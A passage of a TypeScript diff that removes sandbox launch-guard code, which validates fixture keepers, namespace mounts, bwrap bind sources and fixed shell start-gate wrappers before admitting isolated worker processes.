if(closed||!scope||scriptedRoute.getStore()!==scope||!scope.fixtureRoots.includes(brain)||dirname(view.root)!==join(dirname(brain),".brain-native","checkpoints")||!isManagedWorkerStartupView(view)||!isNativeWorkerStartupRoot(view.root)||nativeWorkerStartupInput(view).checkpoint.path!==view.root||resolve(storage.mount)!==storage.mount||dirname(storage.mount)!==expected||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(storage.mount))||!new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root)||!rootIdentity)return false; - const root=statSync(storage.root),mounted=statSync(`/proc/${storage.namespacePid}/root${storage.mount}`); - return root.isDirectory()&&root.dev===rootIdentity.dev&&root.ino===rootIdentity.ino&&root.dev===mounted.dev&&root.ino===mounted.ino&&Number(statfsSync(storage.root).type)===0x01021994; - }catch{return false;} - }; - if(!validate())refuse("managed fixture keeper provenance is unavailable"); - const {nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); - const {verifiedWorkerIdentity}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts"); - const native=nativeWorkerStartupInput(view),id=basename(storage.mount);let uid=verifiedWorkerIdentity(brain)?.workerUid; - if(uid===undefined&&storage.identityTicketFd!==undefined)uid=await qualifyFixtureStagePrivately(storage,view); - if(uid===undefined){ - // Ordinary stages use the existing same-UID rule, not a manager capability - // that production intentionally reserves for separate-UID workers. - const anchor=join(storage.root,"merged"),snapshot=anchor;inPlaceFixtureSnapshots.add(snapshot); - let manifest:string,gitManifest:string|undefined,gitAnchor:string|undefined,gitSnapshot:string|undefined; - const sameOwner=()=>validate()&&statSync(anchor).uid===nativeKernelIdentity().uid; - const ordinaryManifest=()=>{try{return ordinaryStageManifest(anchor,storage.allowanceBytes!)===manifest&&(!gitAnchor||ordinaryStageManifest(gitAnchor,storage.allowanceBytes!)===gitManifest);}catch{return false;}}; - const ordinary=()=>sameOwner()&&fixtureFreshness(ordinaryManifest); - const inspect=(from:string)=>ordinaryStageManifest(from,storage.allowanceBytes!); - let unregister:(()=>void)|undefined; - try{ - if(statSync(anchor).uid!==nativeKernelIdentity().uid)throw Error("Ordinary keeper owner differs"); - manifest=ordinaryStageManifest(anchor,storage.allowanceBytes!); - nativeReceipt({kind:"native-fixture-inspection-view",mode:"in-place",scope:"ordinary-keeper"}); - if(!ordinary())throw Error("Ordinary keeper changed during inspection"); - unregister=registerFixtureKeeper(storage as FixtureKeeper,undefined,snapshot,ordinary,metadataOnly,metadataOnly?probe:undefined); - ordinaryManagedStages.set(storage,{view,git(spec){ - try{ - const role=nativeStageDirectoryRoles().bindSources[1]!; - if(!sameOwner()||spec.source!==join(storage.root,role)||spec.target!=="/tmp/brain-maintenance-git"||!lstatSync(spec.source).isDirectory()||lstatSync(spec.source).uid!==nativeKernelIdentity().uid)throw Error("Foreign maintenance Git preparation"); - gitAnchor=spec.source;gitSnapshot=gitAnchor;inPlaceFixtureSnapshots.add(gitSnapshot); - // Preparation is an explicit new inspection point; old snapshots never - // silently become current during classification or beforeLaunch. - manifest=inspect(anchor);gitManifest=inspect(gitAnchor); - if(!ordinary())throw Error("Stage changed after preparation"); - fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,role),gitSnapshot); - }catch{return refuse("ordinary managed fixture Git snapshot is unavailable");} - }}); - }catch(error){clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);if(String(error).includes("Offline native Claude refused before launch:"))throw error;return refuse("ordinary managed fixture keeper snapshot is unavailable");} - usedManagedKeepers.add(storage);return ()=>{closed=true;ordinaryManagedStages.delete(storage);try{unregister?.();}finally{if(gitSnapshot)removeFixtureSnapshot(gitSnapshot);}}; - } - let ticket:{fd:number;close():void},snapshot:string; - try{ticket=await native.manager.attestStage(id);}catch{return refuse("managed fixture keeper snapshot is unavailable");} - try{snapshot=nativeFixtureDirectory("odysseus-managed-inspection-");}catch{ticket.close();return refuse("managed fixture keeper snapshot is unavailable");} - let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined;let fullStageKeys:ReadonlyMap|undefined;let stageHashes:ReadonlyMap|undefined;let stageLinks:ReadonlyMap|undefined;let opaque:OpaqueStageNode[]=[],readerIdentity:StageReaderIdentity|undefined,metadataChannel:Awaited>|undefined; - const managerOptions=fixtureManagerConnection(native.manager); - let managerSocket:ReturnType|undefined; - if(managerOptions){try{managerSocket=lstatSync(managerOptions.socketPath);if(!managerSocket.isSocket()||managerSocket.uid!==0||realpathSync(managerOptions.socketPath)!==managerOptions.socketPath)throw Error("Unpinned manager socket");}catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper private reader is unavailable");}} - const currentStage=()=>{ - if(!stageStamps)return true; - if(metadataOnly){try{const root=lstatSync(join(storage.root,"merged"),{bigint:true}),stamp=`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`;if(stamp!==stageStamps.get("")||!metadataChannel||!readerIdentity)return false;verifyStageMetadataEvidence(metadataChannel.inspect("",stamp,String(root.ino)),readerIdentity,"directory",stamp,[0,13]);return true;}catch{return false;}} - - try{for(const owners of inPlaceFixtureFiles.values()){const finding=owners.get(snapshot);if(finding&&!recheckMutableFixtureFinding(finding))return false;}}catch{return false;} - if(fullStageKeys&&readerIdentity){try{ - for(const [path,key] of fullStageKeys){const expected=stageStamps.get(path);if(!expected) return false; - // The production reader's stamp is preserved; all additional fields come - // from the same pinned view or the exact Q7 metadata-only channel. - const [inode,bytes]=expected.split(":");const old=key.split(":");const mode=Number(old[5])&0o7777,kind=(Number(old[5])&0o170000)===0o040000?"directory":(Number(old[5])&0o170000)===0o120000?"symlink":"file"; - if(stageMetadataKey({path,kind,stamp:expected,mode,bytes:Number(bytes),inode:inode!},readerIdentity)!==key)return false; - } - }catch{return false;}} - try{for(const node of opaque)recheckOpaqueStageNode(join(storage.root,"merged",node.path),node,readerIdentity!);}catch{return false;} - let local=true; - try{for(const[path,expected]of stageStamps){const actual=lstatSync(join(storage.root,"merged",path),{bigint:true});if(`${actual.ino}:${actual.size}:${actual.mtimeNs}:${actual.ctimeNs}`!==expected){local=false;break;}}}catch{local=false;} - if(local&&!opaque.length&&!stageLinks?.size&&![...stageHashes??[]].some(([path])=>!inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot)))return true; - if(!managerOptions||!managerSocket)return false; - try{ - const root=lstatSync(join(storage.root,"merged"),{bigint:true});if(`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`!==stageStamps.get(""))return false; - const socket=lstatSync(managerOptions.socketPath);if(!socket.isSocket()||socket.dev!==managerSocket.dev||socket.ino!==managerSocket.ino||socket.uid!==0)return false; - if(!metadataRuntime)return false;const executable=statSync(metadataRuntime.path,{bigint:true});if(executable.dev!==metadataRuntime.stamp.dev||executable.ino!==metadataRuntime.stamp.ino||executable.size!==metadataRuntime.stamp.size)return false; - const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],verifyBytes:guardExecutionCheck,hashes:[...stageHashes??[]],links:[...stageLinks??[]],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); - const after=lstatSync(managerOptions.socketPath),receipt=JSON.parse(String(result.stdout)),expectedFiles=guardExecutionCheck?(stageHashes?.size??0):0,expectedBytes=guardExecutionCheck?[...stageHashes??[]].reduce((sum,[path])=>sum+Number(stageStamps!.get(path)!.split(":")[1]),0):0; - if(result.exitCode!==0||Object.keys(receipt).sort().join(",")!=="byteBytes,byteFiles,current"||receipt.current!==true||receipt.byteFiles!==expectedFiles||receipt.byteBytes!==expectedBytes||after.dev!==socket.dev||after.ino!==socket.ino||after.uid!==0)return false; - if(guardExecutionCheck){executionByteChecks++;executionByteFiles+=receipt.byteFiles;}return true; - }catch{return false;} - }; - const attested=()=>{try{ - if(!validate()||managerOptions&&fixtureManagerConnection(native.manager)!==managerOptions)return false; - if(!fixtureFreshness(currentStage))return false; - const now=fstatSync(ticket.fd);if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||!readFileSync(`/proc/self/fd/${ticket.fd}`).equals(ticketBytes))return false; - const value=JSON.parse(ticketBytes.toString("utf8")),merged=statSync(join(storage.root,"merged"),{bigint:true}),checkpoint=statSync(view.root,{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true}); - return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===nativeKernelIdentity().uid&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; - }catch{return false;}}; - try{ - stamp=fstatSync(ticket.fd);if(!stamp.isFile()||stamp.uid!==0||stamp.nlink!==0||stamp.size>65536||(stamp.mode&0o777)!==0o444)throw Error("Invalid sealed stage authority"); - ticketBytes=readFileSync(`/proc/self/fd/${ticket.fd}`);if(!attested())throw Error("Stage authority differs"); - const rootBefore=lstatSync(join(storage.root,"merged"),{bigint:true}); - const rootStamp=`${rootBefore.ino}:${rootBefore.size}:${rootBefore.mtimeNs}:${rootBefore.ctimeNs}`; - const authority=JSON.parse(ticketBytes.toString("utf8")); - if(managerOptions){metadataChannel=stageMetadataChannels.get(storage);if(metadataChannel&&!metadataChannel.matches(authority))throw Error("Stage metadata handle differs");metadataChannel??=await connectNativeStageMetadata(nativeStageMetadataSocket(managerOptions.socketPath,id),authority);stageMetadataChannels.set(storage,metadataChannel);} - readerIdentity={uid,gids:[authority.appGid],...(metadataChannel?{inspect:metadataChannel.inspect}:{}),root:join(storage.root,"merged"),forbidden:nativeTripwireMaskPaths().flatMap(path=>[path,...[join(storage.mount,"merged"),brain].filter(root=>within(root,path)).map(root=>join(storage.root,"merged",path.slice(root.length)))])}; - const entries=metadataOnly?new Map():await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot,readerIdentity);opaque=stageOpaqueNodes.get(entries)??[]; - if(metadataOnly)nativeReceipt({kind:"native-fixture-probe-metadata",head:nativeTestHead(),state:"unknown",contents:"not-inspected"}); - stageStamps=new Map([["",rootStamp],...entries]);stageHashes=stageEntryHashes.get(entries);stageLinks=stageEntryLinks.get(entries);fullStageKeys=metadataOnly?undefined:new Map([["",fixturePathKey(join(storage.root,"merged"))],...stageEntryKeys.get(entries)??[]]); - // registerFixtureKeeper performs the complete post-capture check in its - // synchronous validation walk before publishing the registration. - }catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper snapshot is unavailable");} - let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot,undefined,metadataOnly,metadataOnly?probe:undefined);}catch(error){metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} - try{ - fixtureKeepers.get(storage.namespacePid)!.brain=brain; - for(const area of areas){ - if(!area||isAbsolute(area)||resolve("/",area)!=="/"+area)throw Error("Noncanonical fixture area"); - // Allocator areas are publication filters and may name an absent output. - // An absent directory grants no bind-source role; later writes invalidate - // the inspection and still require the normal fresh preparation event. - let path:string;try{path=realpathSync(join(snapshot,area));}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")continue;throw error;} - if(!within(snapshot,path))throw Error("Fixture area outside snapshot"); - // Publication filters can name files. They remain inspected input bytes, - // but never grant an additional directory bind-source role. - const kind=lstatSync(path);if(kind.isFile())continue;if(!kind.isDirectory())throw Error("Fixture area outside snapshot"); - fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,"merged",area),path); - if(preparedTrees.has(area)&&/^\.brain-maintenance-git-[0-9a-f-]{36}$/.test(area))fixtureKeepers.get(storage.namespacePid)!.nestedBindSources.add(join(storage.mount,"merged",area)); - } - }catch{unregister();ticket.close();return refuse("managed fixture keeper area is unavailable");} - for(const node of opaque)opaqueStageSnapshots.set(join(snapshot,node.path),{node,check:()=>{if(!attested())throw Error("Opaque stage authority expired");recheckOpaqueStageNode(join(storage.root,"merged",node.path),node,readerIdentity!);}}); - usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);}}; -} -function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean,metadataOnly=false,probeContext?:FixtureProbeContext): () => void { - return fixtureWalk(()=>registerFixtureKeeperInWalk(storage,managed,managedSnapshot,ordinaryStage,metadataOnly,probeContext)); -} -function registerFixtureKeeperInWalk(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean,metadataOnly=false,probeContext?:FixtureProbeContext): () => void { - const start = processStart(storage.namespacePid); - let pid = storage.namespacePid, observed = false; - for (let depth = 0; pid > 1 && depth < 64; depth++) { - if (guardedChildren.get(pid) === processStart(pid)) { observed = true; break; } - const parent = /^PPid:\s+(\d+)/m.exec(readFileSync(`/proc/${pid}/status`, "utf8")); - if (!parent) break; pid = Number(parent[1]); - } - const ns = `/proc/${storage.namespacePid}/ns/mnt`, namespace = statSync(ns, { bigint: true }); - const authority=()=>managed?managed():ordinaryStage?ordinaryStage():observed; - if (!authority() || storage.namespaceStart !== start || namespace.ino === statSync("/proc/self/ns/mnt", { bigint: true }).ino || - !new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(storage.root) || FORBIDDEN_BIND_ROOTS.has(resolve(storage.mount))) refuse("fixture keeper provenance is unavailable",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); - if(Number(statfsSync(storage.root).type)!==0x01021994)refuse("fixture keeper output is not private tmpfs"); - // Only the publication tree is needed; overlay work/upper metadata never enters inspection. - const mount=join(resolve(storage.mount),"merged"); - const fd = openSync(join(storage.root,"merged"), 0x200000 | 0x10000 | 0x20000); // O_PATH | O_DIRECTORY | O_NOFOLLOW. - const info = fstatSync(fd, {bigint:true}); - const namespaceRoot = `/proc/${storage.namespacePid}/root${mount}`; - const mounted = statSync(namespaceRoot, {bigint:true}); - if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || (!managed && info.uid !== BigInt(nativeKernelIdentity().uid))) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } - const snapshot = managedSnapshot ?? nativeFixtureDirectory("odysseus-keeper-inspection-"); - const anchor = `/proc/${process.pid}/fd/${fd}`; - let disposed=false; - const live = () => { try { const now=statSync(ns,{bigint:true}); return !disposed && processStart(storage.namespacePid)===start && now.dev===namespace.dev && now.ino===namespace.ino && statSync(namespaceRoot,{bigint:true}).dev===info.dev && statSync(namespaceRoot,{bigint:true}).ino===info.ino && authority(); } catch { return false; } }; - let claimed=false; - const entry = { mount, snapshot, live, metadataOnly, probeContext, ordinary:Boolean(ordinaryStage),nestedBindSources:new Set(),bindSources:new Map([[mount,snapshot]]),managed:Boolean(managed||ordinaryStage), claim(){if((managed||ordinaryStage)&&claimed)refuse("managed fixture keeper snapshot was already used");claimed=true;}, refresh() { - if (!live()) refuse("fixture keeper namespace is no longer live",managed?{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}:undefined); - if(managed||ordinaryStage){if(!managedSnapshot)refuse("managed fixture keeper snapshot is unavailable");return;} - for (const name of readdirSync(snapshot)) rmSync(join(snapshot,name),{recursive:true,force:true}); - for (const name of readdirSync(anchor)) cpSync(join(anchor,name),join(snapshot,name),{recursive:true,dereference:false}); - }, dispose() { if(disposed)return;disposed=true;if(fixtureKeepers.get(storage.namespacePid)===entry)fixtureKeepers.delete(storage.namespacePid);closeSync(fd);clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot); } }; - if(fixtureKeepers.has(storage.namespacePid)){closeSync(fd);clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);refuse("fixture keeper was already registered");} - try { entry.refresh(); } catch { entry.dispose(); refuse("fixture keeper snapshot is unavailable"); } - fixtureKeepers.set(storage.namespacePid,entry); return entry.dispose; -} -function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection | undefined { - const at = argv.findIndex((value,index) => index < bwrap && basename(value)==="nsenter"); - if(at<0)return; - const separator=argv.indexOf("--",at); - if(separator<0||separator>bwrap||!argv.slice(at+1,separator).includes("--mount"))return; - const target=argv.indexOf("--target",at);if(target<0||target>separator)return; - const entry=fixtureKeepers.get(Number(argv[target+1]));if(!entry)return; - if(entry.metadataOnly)refuse("metadata-only probe cannot admit a native runtime"); - if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.claim();entry.refresh();return entry; -} -function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string { - const path=resolve(input); - return inspectionAccessPath(keeper&&within(keeper.mount,path)?join(keeper.snapshot,path.slice(keeper.mount.length)):input,keeper); -} - -/** Canonical-root lookups are reused only inside this synchronous walk. A - * separate execution-edge validation creates a new resolver and checks again. - */ -function fixtureWalkRealpath(){const paths=new Map();return (path:string)=>{const cached=paths.get(path);if(cached!==undefined)return cached;const real=realpathSync(path);paths.set(path,real);return real;};} -/** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ -function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string,canonical:(path:string)=>string=realpathSync): boolean { - // The same fixed-runtime union was already admitted below. Check it before - // re-attesting unrelated fixture roots for every dependency file. Resolve - // the matching root afresh; there is no cross-launch authorization cache. - for(const root of [join(ROOT,"packages"),join(ROOT,"node_modules"),...SYSTEM]){ - if(within(root,source)){try{if(within(canonical(root),source))return true;}catch{}} - } - const created=[...createdFixtureRoots].filter(([path,stamp])=>{try{const now=lstatSync(path,{bigint:true});return now.dev===stamp.dev&&now.ino===stamp.ino;}catch{return false;}}).map(([path])=>path); - const registered=route.fixtureRoots.filter(path=>{try{const stamp=route.fixtureRootStamps.get(path),now=lstatSync(path,{bigint:true});return Boolean(stamp&&stamp.dev===now.dev&&stamp.ino===now.ino);}catch{return false;}}); - const roots = [...registered, ...created, guardRoot, - ...["packages", "node_modules"].map(name => join(ROOT, name)), ...SYSTEM]; - if (roots.some(root => { try { return within(canonical(root), source); } catch { return false; } })) return true; - return [...SYSTEM_FILES, process.execPath, compileSocketPolicy(), ...["package.json", "tsconfig.json", "bunfig.toml"].map(name => join(ROOT, name))] - .some(path => { try { return canonical(path) === source; } catch { return false; } }); -} - -interface NativeCheckpointRole {root:string;brain:string} -function nativeCheckpointRole(launch:any,route:ScriptedAuthority):NativeCheckpointRole|undefined { - const root=launch.startupView?.root,brain=launch.brainPath; - if(typeof root!=="string"||typeof brain!=="string"||!/^[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(basename(root))||dirname(root)!==join(dirname(brain),".brain-native","checkpoints"))return; - const stamp=route.fixtureRootStamps.get(brain); - let valid=false;try{const info=lstatSync(brain,{bigint:true});const {isNativeWorkerStartupRoot}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); - valid=resolve(root)===root&&realpathSync(root)===root&&realpathSync(brain)===brain&&launch.startupView.brain===brain&&route.fixtureRoots.includes(brain)&&Boolean(stamp&&stamp.dev===info.dev&&stamp.ino===info.ino)&&isNativeWorkerStartupRoot(root); - }catch{/* Unknown owner or canonical identity refuses. */} - if(!valid)refuse("native checkpoint bind owner is unavailable",{sourceKind:"product-checkpoint",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}); - return {root,brain}; -} -function checkpointBind(flag:string,source:string,target:string,role?:NativeCheckpointRole):boolean{return Boolean(role&&flag==="--ro-bind"&&source===role.root&&target===role.brain);} -function assertCheckpointBind(mounts:readonly string[],role?:NativeCheckpointRole):void { - if(!role)return;let count=0; - for(let i=0;iwithin(root,source))&&!workerSourceAllowed(source, route, guardRoot)) { - const info=lstatSync(source); - // Replace a socket-only relay directory with exact socket binds. A later - // file in the original directory never enters the native view. - if(info.isDirectory() && [...ownedRelaySockets.values()].some(socket=>normalizedOrigin(socket.origin)===normalizedOrigin(route.origin) && dirname(socket.path)===source && socket.isLive()) && readdirSync(source).length && readdirSync(source).every(name=>{ - try{return socketMatchesOrigin(join(source,name),route.origin);}catch{return false;} - })) { - const destination=argv[i+2]!; - const exact=readdirSync(source).flatMap(name=>["--ro-bind",join(source,name),join(destination,name)]); - argv.splice(i,3,...exact);i+=exact.length-1;continue; - } else if (!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice())) { - refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,argv[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); - } - } - i+=2; - } -} - -function assertWorkerFixtureBinds(mounts:readonly string[],route:ScriptedAuthority,guardRoot:string,keeper?:KeeperInspection,checkpoint?:NativeCheckpointRole):void {return withStageLinkView(keeper,mounts,()=>assertWorkerFixtureBindsInView(mounts,route,guardRoot,keeper,checkpoint));} -function assertWorkerFixtureBindsInView(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection,checkpoint?:NativeCheckpointRole): void { - // Overlapping package binds share one walk within this validation only. - // A new beforeLaunch call gets a fresh set and checks the tree again. - const visited=new Set(),canonical=fixtureWalkRealpath(); - for(let i=0;iwithin(root,source))&&!workerSourceAllowed(source,route,guardRoot,canonical)) { - const info=lstatSync(source); - if(!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice()))refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,mounts[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); - } - // A fixture symlink cannot turn a declared directory into outside data. - let inspected=source; - const visit=(path:string):void=>{ - inspected=path; - const opaque=opaqueStageSnapshots.get(path);if(opaque){opaque.check();return;} - const real=inspectionRealpath(path,keeper),access=inspectionAccessPath(path,keeper),info=lstatSync(access); - if(info.isFile() && !keeperRoots.some(root=>within(root,access)&&within(canonical(root),real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot,canonical))refuse("worker file was not created or staged by the fixture"); - if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(canonical(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; - visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(access))visit(join(access,name)); - }; - try { visit(source); } catch(error) { - if(String(error).includes("Offline native Claude refused before launch:"))throw error; - refuse("worker fixture provenance is unavailable",mountInputEvidence(inspected,mounts[i+2]!,i,error,route.fixtureRoots,checkpointRoot?"product-checkpoint":keeper&&within(keeper.snapshot,source)?"product-keeper":undefined)); - } - i+=2; - } -} - -/** Exact first-party status/namespace prefixes; a payload argument named bwrap is not a launcher. */ -function nativeBwrapIndex(argv: readonly string[]): number { - let at=0; - const same=(command:string|undefined,path:string)=>{try{return Boolean(command)&&realpathSync(command!)===realpathSync(path);}catch{return false;}}; - for(let depth=0;depth<4;depth++) { - if(same(argv[at],"/bin/sh")) { - if(argv[at+1]!=="-c"||argv[at+2]!=='exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'||argv[at+3]!=="brain-worker-status")return -1; - if(!argv.slice(at+4,at+6).every(path=>{try{return new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}}))return -1; - at+=6;continue; - } - if(same(argv[at],"/usr/bin/python3")&&argv[at+1]==="-I"&&argv[at+2]==="-S"&&argv[at+3]==="-c") { - const {WORKER_FILESYSTEM_FILTER_PROGRAM}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-filesystem-filter.ts") as typeof import("../packages/ui-sdk/src/server/worker-filesystem-filter"); - if(argv[at+4]!==WORKER_FILESYSTEM_FILTER_PROGRAM)return -1; - at+=5;continue; - } - if(same(argv[at],"/usr/bin/nsenter")) { - const end=argv.indexOf("--",at);if(end<0)return -1; - for(let i=at+1;i { - const found=new Map(); - const same=(value:string|undefined,path:string)=>{try{return !!value&&realpathSync(value)===realpathSync(path);}catch{return false;}}; - if(!same(argv[0],"/usr/bin/python3")||argv[1]!=="-I"||argv[2]!=="-S"||argv[3]!=="-c")return found; - const {WORKER_FILESYSTEM_FILTER_PROGRAM}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-filesystem-filter.ts") as typeof import("../packages/ui-sdk/src/server/worker-filesystem-filter"); - if(argv[4]!==WORKER_FILESYSTEM_FILTER_PROGRAM||!same(argv[5],"/usr/bin/nsenter"))return found; - // Discover the exact fixed prefix from production; changing its shape refuses. - const source=readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); - const rows=[...source.matchAll(/return filtered\(\[nsenter, ((?:"[^"]+", )+)String\(storage\.namespacePid\), "--", \.\.\.argv\]\)/g)]; - if(rows.length!==1)return found; - let prefix:string[];try{prefix=JSON.parse("["+rows[0]![1]!.replace(/, $/,"")+"]");}catch{return found;} - if(!prefix.every((word,i)=>argv[6+i]===word))return found; - const target=6+prefix.length, bwrap=target+2; - if(!/^[1-9][0-9]*$/.test(argv[target]??"")||argv[target+1]!=="--"||!same(argv[bwrap],"/usr/bin/bwrap"))return found; - const keeper=fixtureKeepers.get(Number(argv[target]));if(!keeper?.managed)return found; - if(keeper.metadataOnly&&(keeper.probeContext!==fixtureProbeContext.getStore()||keeper.probeContext?.definitionHash!==nativeFixtureProbeCommands().definitionHash))refuse("metadata-only probe scope expired or source changed"); - const end=unknownBwrapPayload(argv,bwrap); - const inspect=()=>{ - for(let i=bwrap+1;i+2{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; - let at=0; - if(same(payload[at],"/usr/bin/prlimit")){ - at++;const start=at;while(/^--(?:data|fsize|nofile|nproc)=\d+:\d+$/.test(payload[at]??""))at++; - if(at===start||payload[at++]!=="--")return; - } - while(same(payload[at],"/bin/sh")){ - const gate=payload.slice(at,at+4); - if(gate[1]!=="-c"||!(gate[2]==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&gate[3]==="brain-worker-state-gate"||gate[2]==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&gate[3]==="brain-worker-start-gate"))return; - at+=4; - } - return at; -} -export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[],trustedWrapper?:boolean)=>string[]):string[] { - const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; - let at=nativeWorkerGatePrefixLength(payload);if(at===undefined)return protect(payload); - const entry=join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"); - if(!same(payload[at],process.execPath)||payload[at+1]!==entry||!same(payload[at+1],entry))return protect(payload); - at+=2;if(payload[at]==="--direct-loopback")at++; - if(payload.length-at!==command.length||!command.every((value,index)=>payload[at+index]===value))return protect(payload); - return [...payload.slice(0,at),...protect(payload.slice(at),true)]; -} - -export function nativeUnrelayedWorkerPayloadCommand(payload:string[],protect:(argv:string[])=>string[]):string[] { - const gates=nativeWorkerGatePrefixLength(payload);if(gates===undefined)return refuse("unrecognized native worker start gate"); - return [...payload.slice(0,gates),process.execPath,join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),"--direct-loopback",...protect(nativeDirectTransportCommand(payload.slice(gates)))]; -} - -/** Exact product shell forms; source equality is asserted by the classification suite. */ -export const nativeProductShellWrappers = [ - {name:"state-gate",kind:"args",marker:"brain-worker-state-gate",script:'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'}, - {name:"start-gate",kind:"args",marker:"brain-worker-start-gate",script:'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'}, - {name:"status",kind:"status",marker:"brain-worker-status",script:'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'}, - {name:"host-probe",kind:"probe",script:'cd / && exec "$0" --no-env-file -e "$1"'}, - {name:"maintenance-empty-git",kind:"zero",script:'r="$1"; shift; "$0" init -q --bare "$r" >/dev/null 2>&1 && exec "$0" --git-dir="$r" --work-tree=. "$@"'}, - {name:"scratch-empty-git",kind:"zero",script:'r=/tmp/brain-mask-empty-repository; "$0" init -q --bare "$r" >/dev/null 2>&1 && exec "$0" --git-dir="$r" --work-tree=. "$@"'}, - {name:"reference-umask",kind:"args",marker:"reference-git",script:'umask 002 && exec "$@"'}, - {name:"cli-sync",kind:"zero",script:'"$0" "$@" 2>&1'}, -] as const; -/** Only positively non-native worker plans bypass native admission checks. */ -export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:SpawnContext={},depth=0):boolean { - if(depth>8)return true; - if(!argv.length)return true; - try{resolveExecutable(argv[0]!,context);}catch{return true;} - 